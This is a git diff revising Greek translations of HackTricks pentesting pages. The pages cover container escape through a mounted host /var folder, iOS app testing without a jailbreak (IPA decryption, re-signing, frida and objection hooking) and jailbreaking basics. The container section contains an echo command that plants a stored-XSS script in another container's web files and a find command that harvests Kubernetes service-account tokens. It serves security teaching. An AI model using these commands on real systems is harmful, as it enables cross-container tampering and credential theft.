Ο φάκελος **/var** του κεντρικού υπολογιστή περιέχει υποδοχές χρόνου εκτέλεσης κοντέινερ και τα συστήματα αρχείων των κοντέινερ.
|
||||
Αν αυτός ο φάκελος είναι τοποθετημένος μέσα σε ένα κοντέινερ, το κοντέινερ αυτό θα αποκτήσει πρόσβαση ανάγνωσης-εγγραφής στα συστήματα αρχείων άλλων κοντέινερ
|
||||
με προνόμια root. Αυτό μπορεί να καταχραστεί για να μεταπηδήσει μεταξύ κοντέινερ, να προκαλέσει άρνηση υπηρεσίας ή να δημιουργήσει πίσω πόρτες σε άλλα
|
||||
Ο φάκελος **/var** του host περιέχει sockets χρόνου εκτέλεσης κοντέινερ και τα συστήματα αρχείων των κοντέινερ.
|
||||
Αν αυτός ο φάκελος είναι προσαρτημένος μέσα σε ένα κοντέινερ, το κοντέινερ αυτό θα αποκτήσει πρόσβαση ανάγνωσης-εγγραφής στα συστήματα αρχείων άλλων κοντέινερ
|
||||
με προνόμια root. Αυτό μπορεί να καταχραστεί για να μεταπηδήσει μεταξύ κοντέινερ, να προκαλέσει άρνηση υπηρεσίας ή να δημιουργήσει backdoor σε άλλα
|
||||
κοντέινερ και εφαρμογές που εκτελούνται σε αυτά.
|
||||
|
||||
#### Kubernetes
|
||||
|
||||
Αν ένα κοντέινερ όπως αυτό αναπτυχθεί με το Kubernetes:
|
||||
Αν ένα κοντέινερ όπως αυτό αναπτυχθεί με Kubernetes:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@ -217,18 +229,18 @@ REFRESH_TOKEN_SECRET=14<SNIP>ea
|
||||
/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
|
||||
are/nginx/html/index2.html
|
||||
```
|
||||
Η XSS επιτεύχθηκε:
|
||||
Το XSS επιτεύχθηκε:
|
||||
|
||||

|
||||
|
||||
Σημειώστε ότι το κοντέινερ ΔΕΝ απαιτεί επανεκκίνηση ή οτιδήποτε άλλο. Οποιεσδήποτε αλλαγές γίνουν μέσω του τοποθετημένου **/var** φακέλου θα εφαρμοστούν άμεσα.
|
||||
|
||||
Μπορείτε επίσης να αντικαταστήσετε αρχεία ρυθμίσεων, δυαδικά αρχεία, υπηρεσίες, αρχεία εφαρμογών και προφίλ shell για να επιτύχετε αυτόματη (ή ημι-αυτόματη) RCE.
|
||||
Μπορείτε επίσης να αντικαταστήσετε αρχεία ρυθμίσεων, δυαδικά αρχεία, υπηρεσίες, αρχεία εφαρμογών και προφίλ κελύφους για να επιτύχετε αυτόματη (ή ημι-αυτόματη) RCE.
|
||||
|
||||
##### Πρόσβαση σε διαπιστευτήρια cloud
|
||||
|
||||
Το κοντέινερ μπορεί να διαβάσει τα tokens serviceaccount K8s ή τα tokens webidentity AWS
|
||||
τα οποία επιτρέπουν στο κοντέινερ να αποκτήσει μη εξουσιοδοτημένη πρόσβαση σε K8s ή cloud:
|
||||
που επιτρέπουν στο κοντέινερ να αποκτήσει μη εξουσιοδοτημένη πρόσβαση σε K8s ή cloud:
|
||||
```bash
|
||||
/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
|
||||
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
|
||||
|
@ -0,0 +1,73 @@
|
||||
# iOS Pentesting without Jailbreak
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Main idea
|
||||
|
||||
Οι εφαρμογές που υπογράφονται με την **εξουσιοδότηση `get_task_allow`** επιτρέπουν σε τρίτες εφαρμογές να εκτελούν μια λειτουργία που ονομάζεται **`task_for_pid()`** με το ID της αρχικής εφαρμογής ως παράμετρο για να αποκτήσουν την θύρα εργασίας πάνω της (να είναι σε θέση να την ελέγξουν και να έχουν πρόσβαση στη μνήμη της).
|
||||
|
||||
Ωστόσο, δεν είναι τόσο εύκολο όσο το να τραβήξετε το IPA, να το ξαναυπογράψετε με την εξουσιοδότηση και να το επαναφέρετε στη συσκευή σας. Αυτό οφείλεται στην προστασία FairPlay. Όταν αλλάζει η υπογραφή της εφαρμογής, το κλειδί DRM (Digital Rights Management) **ακυρώνεται και η εφαρμογή δεν θα λειτουργήσει**.
|
||||
|
||||
Με μια παλιά jailbroken συσκευή, είναι δυνατό να εγκαταστήσετε το IPA, **να το αποκρυπτογραφήσετε χρησιμοποιώντας το αγαπημένο σας εργαλείο** (όπως το Iridium ή το frida-ios-dump) και να το τραβήξετε πίσω από τη συσκευή. Αν και, αν είναι δυνατόν, συνιστάται να ρωτήσετε τον πελάτη για το αποκρυπτογραφημένο IPA.
|
||||
|
||||
## Obtain decrypted IPA
|
||||
|
||||
### Get it from Apple
|
||||
|
||||
1. Εγκαταστήστε την εφαρμογή που θέλετε να δοκιμάσετε στο iPhone
|
||||
2. Εγκαταστήστε και εκκινήστε το [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) μέσα στο macos σας
|
||||
3. Ανοίξτε το `Terminal` στο Mac σας και cd στο `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. Το IPA θα εμφανιστεί σε αυτόν τον φάκελο αργότερα.
|
||||
4. Πρέπει να δείτε τη συσκευή iOS σας. Κάντε διπλό κλικ σε αυτήν και στη συνέχεια κάντε κλικ στο Προσθήκη + → Εφαρμογές από την επάνω μπάρα μενού.
|
||||
5. Μετά την κλικ στο Προσθήκη, το Configurator θα κατεβάσει το IPA από την Apple και θα προσπαθήσει να το στείλει στη συσκευή σας. Αν ακολουθήσατε τη σύστασή μου νωρίτερα και έχετε ήδη εγκαταστήσει το IPA, θα εμφανιστεί ένα παράθυρο που θα σας ζητά να επανεγκαταστήσετε την εφαρμογή.
|
||||
6. Το IPA θα πρέπει να έχει κατέβει μέσα στο `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` από όπου μπορείτε να το πάρετε.
|
||||
|
||||
Δείτε [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) για περισσότερες λεπτομέρειες σχετικά με αυτή τη διαδικασία.
|
||||
|
||||
### Decrypting the app
|
||||
|
||||
Για να αποκρυπτογραφήσουμε το IPA, θα το εγκαταστήσουμε. Ωστόσο, αν έχετε ένα παλιό jailbroken iPhone, πιθανώς η έκδοσή του δεν θα υποστηρίζεται από την εφαρμογή, καθώς συνήθως οι εφαρμογές υποστηρίζουν μόνο τις τελευταίες εκδόσεις.
|
||||
|
||||
Έτσι, για να το εγκαταστήσετε, απλώς αποσυμπιέστε το IPA:
|
||||
```bash
|
||||
unzip redacted.ipa -d unzipped
|
||||
```
|
||||
Ελέγξτε το `Info.plist` για την ελάχιστη υποστηριζόμενη έκδοση και αν η συσκευή σας είναι παλαιότερη από αυτήν, αλλάξτε την τιμή ώστε να είναι υποστηριζόμενη.
|
||||
|
||||
Συμπιέστε ξανά το IPA:
|
||||
```bash
|
||||
cd unzipped
|
||||
zip -r ../no-min-version.ipa *
|
||||
```
|
||||
Στη συνέχεια, εγκαταστήστε το IPA για παράδειγμα με:
|
||||
```bash
|
||||
ideviceinstaller -i no-min-version.ipa -w
|
||||
```
|
||||
Σημειώστε ότι μπορεί να χρειαστείτε το **AppSync Unified tweak** από το Cydia για να αποτρέψετε τυχόν σφάλματα `invalid signature`.
|
||||
|
||||
Αφού εγκατασταθεί, μπορείτε να χρησιμοποιήσετε το **Iridium tweak** από το Cydia για να αποκτήσετε το αποκρυπτογραφημένο IPA.
|
||||
|
||||
|
||||
### Patch entitlements & re-sign
|
||||
|
||||
Για να επαναυπογράψετε την εφαρμογή με το δικαίωμα `get-task-allow`, υπάρχουν διάφορα εργαλεία διαθέσιμα όπως το `app-signer`, `codesign` και `iResign`. Το `app-signer` έχει μια πολύ φιλική προς το χρήστη διεπαφή που επιτρέπει να επαναυπογράψετε πολύ εύκολα ένα αρχείο IPA υποδεικνύοντας το IPA που θέλετε να επαναυπογράψετε, να **θέσετε το `get-task-allow`** και το πιστοποιητικό και το προφίλ παροχής που θα χρησιμοποιήσετε.
|
||||
|
||||
Όσον αφορά το πιστοποιητικό και τα προφίλ υπογραφής, η Apple προσφέρει **δωρεάν προφίλ υπογραφής προγραμματιστών** για όλους τους λογαριασμούς μέσω του Xcode. Απλώς δημιουργήστε μια εφαρμογή και ρυθμίστε ένα. Στη συνέχεια, ρυθμίστε το **iPhone να εμπιστεύεται τις εφαρμογές προγραμματιστών** πηγαίνοντας στις `Ρυθμίσεις` → `Απόρρητο & Ασφάλεια`, και κάντε κλικ στο `Developer Mode`.
|
||||
|
||||
|
||||
Με το επαναυπογεγραμμένο IPA, ήρθε η ώρα να το εγκαταστήσετε στη συσκευή για να το δοκιμάσετε:
|
||||
```bash
|
||||
ideviceinstaller -i resigned.ipa -w
|
||||
```
|
||||
### Hook
|
||||
|
||||
Μπορείτε εύκολα να συνδέσετε την εφαρμογή σας χρησιμοποιώντας κοινά εργαλεία όπως το frida και το objection:
|
||||
```bash
|
||||
objection -g [your app bundle ID] explore
|
||||
|
||||
```
|
||||
## Αναφορές
|
||||
|
||||
- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -4,10 +4,10 @@
|
||||
|
||||
## Apple Developer Program
|
||||
|
||||
Μια **provisioning identity** είναι μια συλλογή δημόσιων και ιδιωτικών κλειδιών που σχετίζονται με έναν λογαριασμό προγραμματιστή της Apple. Για να **υπογράψετε εφαρμογές** πρέπει να πληρώσετε **99$/χρόνο** για να εγγραφείτε στο **Apple Developer Program** για να αποκτήσετε την provisioning identity σας. Χωρίς αυτό δεν θα μπορείτε να εκτελέσετε εφαρμογές από τον πηγαίο κώδικα σε μια φυσική συσκευή. Μια άλλη επιλογή είναι να χρησιμοποιήσετε μια **jailbroken συσκευή**.
|
||||
Μια **provisioning identity** είναι μια συλλογή δημόσιων και ιδιωτικών κλειδιών που σχετίζονται με έναν λογαριασμό προγραμματιστή της Apple. Για να **υπογράψετε εφαρμογές** πρέπει να πληρώσετε **99$/χρόνο** για να εγγραφείτε στο **Apple Developer Program** και να αποκτήσετε την provisioning identity σας. Χωρίς αυτό δεν θα μπορείτε να εκτελέσετε εφαρμογές από τον πηγαίο κώδικα σε μια φυσική συσκευή. Μια άλλη επιλογή είναι να χρησιμοποιήσετε μια **jailbroken συσκευή**.
|
||||
|
||||
Από την έκδοση Xcode 7.2, η Apple έχει παρέχει μια επιλογή για τη δημιουργία ενός **δωρεάν προφίλ ανάπτυξης iOS** που επιτρέπει να γράφετε και να δοκιμάζετε την εφαρμογή σας σε ένα πραγματικό iPhone. Πηγαίνετε στο _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Προσθέστε νέο Appli ID με τα διαπιστευτήριά σας) --> _Κάντε κλικ στο Apple ID που δημιουργήθηκε_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\
|
||||
\_\_Στη συνέχεια, για να εκτελέσετε την εφαρμογή σας στο iPhone σας, πρέπει πρώτα να **υποδείξετε το iPhone να εμπιστευτεί τον υπολογιστή.** Στη συνέχεια, μπορείτε να προσπαθήσετε να **εκτελέσετε την εφαρμογή στο κινητό από το Xcode,** αλλά θα εμφανιστεί ένα σφάλμα. Έτσι, πηγαίνετε στο _Settings_ --> _General_ --> _Profiles and Device Management_ --> Επιλέξτε το μη αξιόπιστο προφίλ και κάντε κλικ στο "**Trust**".
|
||||
\_\_Στη συνέχεια, για να εκτελέσετε την εφαρμογή σας στο iPhone σας, πρέπει πρώτα να **υποδείξετε το iPhone να εμπιστευτεί τον υπολογιστή.** Στη συνέχεια, μπορείτε να προσπαθήσετε να **εκτελέσετε την εφαρμογή στο κινητό από το Xcode,** αλλά θα εμφανιστεί ένα σφάλμα. Πηγαίνετε στο _Settings_ --> _General_ --> _Profiles and Device Management_ --> Επιλέξτε το μη αξιόπιστο προφίλ και κάντε κλικ στο "**Trust**".
|
||||
|
||||
Σημειώστε ότι **οι εφαρμογές που υπογράφονται με το ίδιο πιστοποιητικό υπογραφής μπορούν να μοιράζονται πόρους με ασφαλή τρόπο, όπως στοιχεία keychain**.
|
||||
|
||||
@ -23,13 +23,13 @@
|
||||
Το πρώτο πράγμα που πρέπει να γνωρίζετε είναι ότι **η εκτέλεση ενός pentest μέσα σε έναν simulator θα είναι πολύ πιο περιορισμένη από το να το κάνετε σε μια jailbroken συσκευή**.
|
||||
|
||||
Όλα τα εργαλεία που απαιτούνται για την κατασκευή και υποστήριξη μιας εφαρμογής iOS υποστηρίζονται **μόνο επίσημα σε Mac OS**.\
|
||||
Το de facto εργαλείο της Apple για τη δημιουργία/αποσφαλμάτωση/εργαλειοποίηση εφαρμογών iOS είναι το **Xcode**. Μπορεί να χρησιμοποιηθεί για να κατεβάσετε άλλα συστατικά όπως **simulators** και διαφορετικές **SDK** **εκδόσεις** που απαιτούνται για να κατασκευάσετε και να **δοκιμάσετε** την εφαρμογή σας.\
|
||||
Το de facto εργαλείο της Apple για τη δημιουργία/αποσφαλμάτωση/εργαλειοποίηση εφαρμογών iOS είναι το **Xcode**. Μπορεί να χρησιμοποιηθεί για να κατεβάσετε άλλα στοιχεία όπως **simulators** και διαφορετικές **SDK** **εκδόσεις** που απαιτούνται για να κατασκευάσετε και να **δοκιμάσετε** την εφαρμογή σας.\
|
||||
Συνιστάται έντονα να **κατεβάσετε** το Xcode από το **επίσημο app store**. Άλλες εκδόσεις μπορεί να περιέχουν κακόβουλο λογισμικό.
|
||||
|
||||
Τα αρχεία του simulator μπορούν να βρεθούν στο `/Users/<username>/Library/Developer/CoreSimulator/Devices`
|
||||
|
||||
Για να ανοίξετε τον simulator, εκτελέστε το Xcode, στη συνέχεια πατήστε στην _καρτέλα Xcode_ --> _Open Developer tools_ --> _Simulator_\
|
||||
\_\_Στην παρακάτω εικόνα κάνοντας κλικ στο "iPod touch \[...]" μπορείτε να επιλέξετε άλλη συσκευή για δοκιμή:
|
||||
\_\_Στην παρακάτω εικόνα, κάνοντας κλικ στο "iPod touch \[...\]" μπορείτε να επιλέξετε άλλη συσκευή για δοκιμή:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -37,7 +37,7 @@
|
||||
|
||||
### Applications in the Simulator
|
||||
|
||||
Μέσα στο `/Users/<username>/Library/Developer/CoreSimulator/Devices` μπορείτε να βρείτε όλους τους **εγκατεστημένους simulators**. Αν θέλετε να αποκτήσετε πρόσβαση στα αρχεία μιας εφαρμογής που δημιουργήθηκε μέσα σε έναν από τους emulators, μπορεί να είναι δύσκολο να γνωρίζετε **σε ποιον είναι εγκατεστημένη η εφαρμογή**. Ένας γρήγορος τρόπος για να **βρείτε το σωστό UID** είναι να εκτελέσετε την εφαρμογή στον simulator και να εκτελέσετε:
|
||||
Μέσα στο `/Users/<username>/Library/Developer/CoreSimulator/Devices` μπορείτε να βρείτε όλους τους **εγκατεστημένους simulators**. Εάν θέλετε να αποκτήσετε πρόσβαση στα αρχεία μιας εφαρμογής που δημιουργήθηκε μέσα σε έναν από τους emulators, μπορεί να είναι δύσκολο να γνωρίζετε **σε ποιον είναι εγκατεστημένη η εφαρμογή**. Ένας γρήγορος τρόπος για να **βρείτε το σωστό UID** είναι να εκτελέσετε την εφαρμογή στον simulator και να εκτελέσετε:
|
||||
```bash
|
||||
xcrun simctl list | grep Booted
|
||||
iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
|
||||
@ -54,32 +54,36 @@ iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
|
||||
|
||||
## No Jailbreak needed
|
||||
|
||||
Δείτε αυτήν την ανάρτηση στο blog σχετικά με το πώς να κάνετε pentest σε μια εφαρμογή iOS σε μια **μη jailbroken συσκευή**: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
|
||||
Δείτε αυτήν την ανάρτηση στο blog σχετικά με το πώς να κάνετε pentest σε μια εφαρμογή iOS σε μια **μη jailbroken συσκευή**:
|
||||
|
||||
{{#ref}}
|
||||
ios-pentesting-without-jailbreak.md
|
||||
{{#endref}}
|
||||
|
||||
## Jailbreaking
|
||||
|
||||
Η Apple απαιτεί αυστηρά ότι ο κώδικας που εκτελείται στο iPhone πρέπει να είναι **υπογεγραμμένος από ένα πιστοποιητικό που εκδίδεται από την Apple**. **Jailbreaking** είναι η διαδικασία της ενεργής **παράκαμψης τέτοιων περιορισμών** και άλλων ελέγχων ασφαλείας που έχουν τεθεί από το λειτουργικό σύστημα. Επομένως, μόλις η συσκευή είναι jailbroken, ο **έλεγχος ακεραιότητας** που είναι υπεύθυνος για τον έλεγχο των εφαρμογών που εγκαθίστανται είναι διορθωμένος ώστε να **παρακαμπτείται**.
|
||||
Η Apple απαιτεί αυστηρά ότι ο κώδικας που εκτελείται στο iPhone πρέπει να είναι **υπογεγραμμένος από ένα πιστοποιητικό που εκδίδεται από την Apple**. **Jailbreaking** είναι η διαδικασία της ενεργής **παράκαμψης τέτοιων περιορισμών** και άλλων ελέγχων ασφαλείας που έχουν τεθεί από το λειτουργικό σύστημα. Επομένως, μόλις η συσκευή είναι jailbroken, ο **έλεγχος ακεραιότητας** που είναι υπεύθυνος για τον έλεγχο των εφαρμογών που εγκαθίστανται είναι διορθωμένος, έτσι ώστε να **παρακαμπτείται**.
|
||||
|
||||
> [!NOTE]
|
||||
> Σε αντίθεση με το Android, **δεν μπορείτε να αλλάξετε σε "Developer Mode"** στο iOS για να εκτελέσετε μη υπογεγραμμένο/μη αξιόπιστο κώδικα στη συσκευή.
|
||||
|
||||
### Android Rooting vs. iOS Jailbreaking
|
||||
|
||||
Ενώ συχνά συγκρίνονται, το **rooting** στο Android και το **jailbreaking** στο iOS είναι θεμελιωδώς διαφορετικές διαδικασίες. Το rooting των συσκευών Android μπορεί να περιλαμβάνει **την εγκατάσταση του δυαδικού `su`** ή **την αντικατάσταση του συστήματος με ένα προσαρμοσμένο ROM με root**, το οποίο δεν απαιτεί απαραίτητα εκμεταλλεύσεις αν ο bootloader είναι ξεκλειδωμένος. **Η αναλαμπή προσαρμοσμένων ROM** αντικαθιστά το λειτουργικό σύστημα της συσκευής μετά την απελευθέρωση του bootloader, απαιτώντας μερικές φορές μια εκμετάλλευση.
|
||||
Ενώ συχνά συγκρίνονται, το **rooting** στο Android και το **jailbreaking** στο iOS είναι θεμελιωδώς διαφορετικές διαδικασίες. Το rooting συσκευών Android μπορεί να περιλαμβάνει **την εγκατάσταση του δυαδικού `su`** ή **την αντικατάσταση του συστήματος με ένα rooted custom ROM**, το οποίο δεν απαιτεί απαραίτητα εκμεταλλεύσεις αν ο bootloader είναι ξεκλειδωμένος. **Η αναλαμπή custom ROMs** αντικαθιστά το λειτουργικό σύστημα της συσκευής μετά την απελευθέρωση του bootloader, απαιτώντας μερικές φορές μια εκμετάλλευση.
|
||||
|
||||
Αντίθετα, οι συσκευές iOS δεν μπορούν να αναβοσβήσουν προσαρμοσμένα ROM λόγω του περιορισμού του bootloader να εκκινεί μόνο εικόνες υπογεγραμμένες από την Apple. **Το jailbreaking iOS** στοχεύει να παρακάμψει τις προστασίες υπογραφής κώδικα της Apple για να εκτελέσει μη υπογεγραμμένο κώδικα, μια διαδικασία που περιπλέκεται από τις συνεχείς βελτιώσεις ασφαλείας της Apple.
|
||||
Αντίθετα, οι συσκευές iOS δεν μπορούν να αναβοσβήσουν custom ROMs λόγω του περιορισμού του bootloader να εκκινεί μόνο εικόνες υπογεγραμμένες από την Apple. **Το jailbreaking iOS** στοχεύει να παρακάμψει τις προστασίες υπογραφής κώδικα της Apple για να εκτελέσει μη υπογεγραμμένο κώδικα, μια διαδικασία που περιπλέκεται από τις συνεχείς βελτιώσεις ασφαλείας της Apple.
|
||||
|
||||
### Jailbreaking Challenges
|
||||
|
||||
Το jailbreaking iOS είναι ολοένα και πιο δύσκολο καθώς η Apple διορθώνει τις ευπάθειες γρήγορα. **Η υποβάθμιση του iOS** είναι δυνατή μόνο για περιορισμένο χρονικό διάστημα μετά από μια κυκλοφορία, καθιστώντας το jailbreaking μια ευαίσθητη χρονικά υπόθεση. Οι συσκευές που χρησιμοποιούνται για δοκιμές ασφαλείας δεν πρέπει να ενημερώνονται εκτός αν διασφαλιστεί ότι η επανα-εξαίρεση είναι εγγυημένη.
|
||||
Το jailbreaking iOS είναι ολοένα και πιο δύσκολο καθώς η Apple διορθώνει γρήγορα τις ευπάθειες. **Η υποβάθμιση του iOS** είναι δυνατή μόνο για περιορισμένο χρονικό διάστημα μετά από μια κυκλοφορία, καθιστώντας το jailbreaking μια ευαίσθητη χρονικά υπόθεση. Οι συσκευές που χρησιμοποιούνται για δοκιμές ασφαλείας δεν πρέπει να ενημερώνονται εκτός αν η επανα- jailbreaking είναι εγγυημένη.
|
||||
|
||||
Οι ενημερώσεις iOS ελέγχονται από έναν **μηχανισμό πρόκλησης-απάντησης** (SHSH blobs), επιτρέποντας την εγκατάσταση μόνο για υπογεγραμμένες απαντήσεις από την Apple. Αυτός ο μηχανισμός, γνωστός ως "παράθυρο υπογραφής", περιορίζει την ικανότητα αποθήκευσης και μετέπειτα χρήσης πακέτων OTA firmware. Ο ιστότοπος [IPSW Downloads](https://ipsw.me) είναι μια πηγή για τον έλεγχο των τρεχουσών παραθύρων υπογραφής.
|
||||
Οι ενημερώσεις iOS ελέγχονται από έναν **μηχανισμό πρόκλησης-απάντησης** (SHSH blobs), επιτρέποντας την εγκατάσταση μόνο για απαντήσεις υπογεγραμμένες από την Apple. Αυτός ο μηχανισμός, γνωστός ως "παράθυρο υπογραφής", περιορίζει την ικανότητα αποθήκευσης και μετέπειτα χρήσης OTA firmware πακέτων. Ο ιστότοπος [IPSW Downloads](https://ipsw.me) είναι μια πηγή για τον έλεγχο των τρεχουσών παραθύρων υπογραφής.
|
||||
|
||||
### Jailbreak Varieties
|
||||
|
||||
- **Tethered jailbreaks** απαιτούν σύνδεση υπολογιστή για κάθε επανεκκίνηση.
|
||||
- **Semi-tethered jailbreaks** επιτρέπουν την εκκίνηση σε μη jailbroken λειτουργία χωρίς υπολογιστή.
|
||||
- **Semi-untethered jailbreaks** απαιτούν χειροκίνητη επανα-εξαίρεση χωρίς την ανάγκη υπολογιστή.
|
||||
- **Semi-untethered jailbreaks** απαιτούν χειροκίνητο επανα-jailbreaking χωρίς να χρειάζεται υπολογιστής.
|
||||
- **Untethered jailbreaks** προσφέρουν μια μόνιμη λύση jailbreak χωρίς την ανάγκη επανα-εφαρμογής.
|
||||
|
||||
### Jailbreaking Tools and Resources
|
||||
@ -94,7 +98,7 @@ iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
|
||||
|
||||
### Jailbreaking Benefits and Risks
|
||||
|
||||
Το jailbreaking **αφαιρεί την επιβολή sandboxing από το λειτουργικό σύστημα**, επιτρέποντας στις εφαρμογές να έχουν πρόσβαση σε ολόκληρο το σύστημα αρχείων. Αυτή η ελευθερία επιτρέπει την εγκατάσταση μη εγκεκριμένων εφαρμογών και την πρόσβαση σε περισσότερες APIs. Ωστόσο, για τους κανονικούς χρήστες, το jailbreaking **δεν συνιστάται** λόγω πιθανών κινδύνων ασφαλείας και αστάθειας της συσκευής.
|
||||
Το jailbreaking **αφαιρεί την sandboxing που επιβάλλεται από το OS**, επιτρέποντας στις εφαρμογές να έχουν πρόσβαση σε ολόκληρο το σύστημα αρχείων. Αυτή η ελευθερία επιτρέπει την εγκατάσταση μη εγκεκριμένων εφαρμογών και την πρόσβαση σε περισσότερες APIs. Ωστόσο, για τους κανονικούς χρήστες, το jailbreaking **δεν συνιστάται** λόγω πιθανών κινδύνων ασφαλείας και αστάθειας της συσκευής.
|
||||
|
||||
### **After Jailbreaking**
|
||||
|
||||
@ -107,7 +111,7 @@ basic-ios-testing-operations.md
|
||||
**Πολλές εφαρμογές θα προσπαθήσουν να ανιχνεύσουν αν το κινητό είναι jailbroken και σε αυτήν την περίπτωση η εφαρμογή δεν θα εκτελείται**
|
||||
|
||||
- Μετά το jailbreaking, σε μια iOS **αρχεία και φάκελοι εγκαθίστανται συνήθως**, αυτοί μπορούν να αναζητηθούν για να προσδιοριστεί αν η συσκευή είναι jailbroken.
|
||||
- Σε μια jailbroken συσκευή, οι εφαρμογές αποκτούν **δικαιώματα ανάγνωσης/εγγραφής σε νέα αρχεία** εκτός του sandbox
|
||||
- Σε μια jailbroken συσκευή, οι εφαρμογές αποκτούν **δικαιώματα ανάγνωσης/εγγραφής σε νέα αρχεία** εκτός της sandbox
|
||||
- Ορισμένες **κλήσεις API** θα **συμπεριφέρονται διαφορετικά**
|
||||
- Η παρουσία της υπηρεσίας **OpenSSH**
|
||||
- Η κλήση `/bin/sh` θα **επιστρέψει 1** αντί για 0
|
||||
|
Loading…
x
Reference in New Issue
Block a user